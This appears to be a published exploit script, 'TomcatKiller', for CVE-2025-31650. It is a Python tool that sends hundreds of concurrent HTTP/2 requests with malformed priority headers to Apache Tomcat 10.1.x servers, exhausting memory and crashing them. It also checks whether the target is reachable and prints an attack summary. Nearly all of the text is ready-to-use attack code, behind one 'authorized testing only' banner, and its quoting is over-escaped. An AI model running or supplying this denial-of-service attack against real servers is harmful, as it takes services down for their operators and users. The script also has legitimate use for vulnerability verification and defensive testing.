# Exploit Title: Apache Tomcat 10.1.39 - Denial of Service # Exploit Title: Apache Tomcat 10.1.39 - Denial of Service (DOS)
# Author: Abdualhadi khalifa
# CVE: CVE-2025-31650

import httpx
import asyncio
import random
import urllib.parse
import sys
import socket
from colorama import init, Fore, Style

init()

class TomcatKiller:
def __init__(self):
self.success_count = 0
self.error_count = 0
self.invalid_priorities = [
\\\"u=-1, q=2\\\",
\\\"u=4294967295, q=-1\\\",
\\\"u=-2147483648, q=1.5\\\",
\\\"u=0, q=invalid\\\",
\\\"u=1/0, q=NaN\\\",
\\\"u=1, q=2, invalid=param\\\",
\\\"\\\",
\\\"u=1, q=1, u=2\\\",
\\\"u=99999999999999999999, q=0\\\",
\\\"u=-99999999999999999999, q=0\\\",
\\\"u=, q=\\\",
\\\"u=1, q=1, malformed\\\",
\\\"u=1, q=, invalid\\\",
\\\"u=-1, q=4294967295\\\",
\\\"u=invalid, q=1\\\",
\\\"u=1, q=1, extra=\\\",
\\\"u=1, q=1; malformed\\\",
\\\"u=1, q=1, =invalid\\\",
\\\"u=0, q=0, stream=invalid\\\",
\\\"u=1, q=1, priority=recursive\\\",
\\\"u=1, q=1, %invalid%\\\",
\\\"u=0, q=0, null=0\\\",
]

async def validate_url(self, url):
try:
parsed_url = urllib.parse.urlparse(url)
if not parsed_url.scheme or not parsed_url.hostname:
raise ValueError(\\\"Invalid URL format. Use http:// or https://\\\")
host = parsed_url.hostname
port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == \\\'https\\\' else 80)
return host, port
except Exception:
print(f\\\"{Fore.RED}Error: Invalid URL. Use http:// or https:// format.{Style.RESET_ALL}\\\")
sys.exit(1)

async def check_http2_support(self, host, port):
async with httpx.AsyncClient(http2=True, verify=False, timeout=5, limits=httpx.Limits(max_connections=1000)) as client:
try:
response = await client.get(f\\\"https://{host}:{port}/\\\", headers={\\\"user-agent\\\": \\\"TomcatKiller\\\"})
if response.http_version == \\\"HTTP/2\\\":
print(f\\\"{Fore.GREEN}HTTP/2 supported! Proceeding ...{Style.RESET_ALL}\\\")
return True
else:
print(f\\\"{Fore.YELLOW}Error: HTTP/2 not supported. This exploit requires HTTP/2.{Style.RESET_ALL}\\\")
return False
except Exception:
print(f\\\"{Fore.RED}Error: Could not connect to {host}:{port}.{Style.RESET_ALL}\\\")
return False

async def send_invalid_priority_request(self, host, port, num_requests, task_id):
async with httpx.AsyncClient(http2=True, verify=False, timeout=0.3, limits=httpx.Limits(max_connections=1000)) as client:
url = f\\\"https://{host}:{port}/\\\"
for i in range(num_requests):
headers = {
\\\"priority\\\": random.choice(self.invalid_priorities),
\\\"user-agent\\\": f\\\"TomcatKiller-{task_id}-{random.randint(1, 1000000)}\\\",
\\\"cache-control\\\": \\\"no-cache\\\",
\\\"accept\\\": f\\\"*/*; q={random.random()}\\\",
}
try:
await client.get(url, headers=headers)
self.success_count += 1
except Exception:
self.error_count += 1

async def monitor_server(self, host, port):
while True:
try:
with socket.create_connection((host, port), timeout=2):
print(f\\\"{Fore.YELLOW}Target {host}:{port} is reachable.{Style.RESET_ALL}\\\")
except Exception:
print(f\\\"{Fore.RED}Target {host}:{port} unreachable or crashed!{Style.RESET_ALL}\\\")
break
await asyncio.sleep(2)

async def run_attack(self, host, port, num_tasks, requests_per_task):
print(f\\\"{Fore.GREEN}Starting attack on {host}:{port}...{Style.RESET_ALL}\\\")
print(f\\\"Tasks: {num_tasks}, Requests per task: {requests_per_task}\\\")
print(f\\\"{Fore.YELLOW}Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.{Style.RESET_ALL}\\\")

monitor_task = asyncio.create_task(self.monitor_server(host, port))
tasks = [self.send_invalid_priority_request(host, port, requests_per_task, i) for i in range(num_tasks)]
await asyncio.gather(*tasks)
monitor_task.cancel()

total_requests = num_tasks * requests_per_task
success_rate = (self.success_count / total_requests * 100) if total_requests > 0 else 0
print(f\\\"\\\\n{Fore.MAGENTA}===== Attack Summary ====={Style.RESET_ALL}\\\")
print(f\\\"Target: {host}:{port}\\\")
print(f\\\"Total Requests: {total_requests}\\\")
print(f\\\"Successful Requests: {self.success_count}\\\")
print(f\\\"Failed Requests: {self.error_count}\\\")
print(f\\\"Success Rate: {success_rate:.2f}%\\\")
print(f\\\"{Fore.MAGENTA}========================={Style.RESET_ALL}\\\")

async def main():
print(f\\\"{Fore.BLUE}===== TomcatKiller - CVE-2025-31650 ====={Style.RESET_ALL}\\\")
print(f\\\"Developed by: @absholi7ly\\\")
print(f\\\"Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.\\\")
print(f\\\"{Fore.YELLOW}Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.{Style.RESET_ALL}\\\\n\\\")

url = input(f\\\"{Fore.CYAN}Enter target URL (e.g., https://localhost:8443): {Style.RESET_ALL}\\\")
num_tasks = int(input(f\\\"{Fore.CYAN}Enter number of tasks (default 300): {Style.RESET_ALL}\\\") or 300)
requests_per_task = int(input(f\\\"{Fore.CYAN}Enter requests per task (default 100000): {Style.RESET_ALL}\\\") or 100000)

tk = TomcatKiller()
host, port = await tk.validate_url(url)

if not await tk.check_http2_support(host, port):
sys.exit(1)

await tk.run_attack(host, port, num_tasks, requests_per_task)

if __name__ == \\\"__main__\\\":
try:
asyncio.run(main())
print(f\\\"{Fore.GREEN}Attack completed!{Style.RESET_ALL}\\\")
except KeyboardInterrupt:
print(f\\\"{Fore.YELLOW}Attack interrupted by user.{Style.RESET_ALL}\\\")
sys.exit(0)
except Exception as e:
print(f\\\"{Fore.RED}Unexpected error: {e}{Style.RESET_ALL}\\\")
sys.exit(1)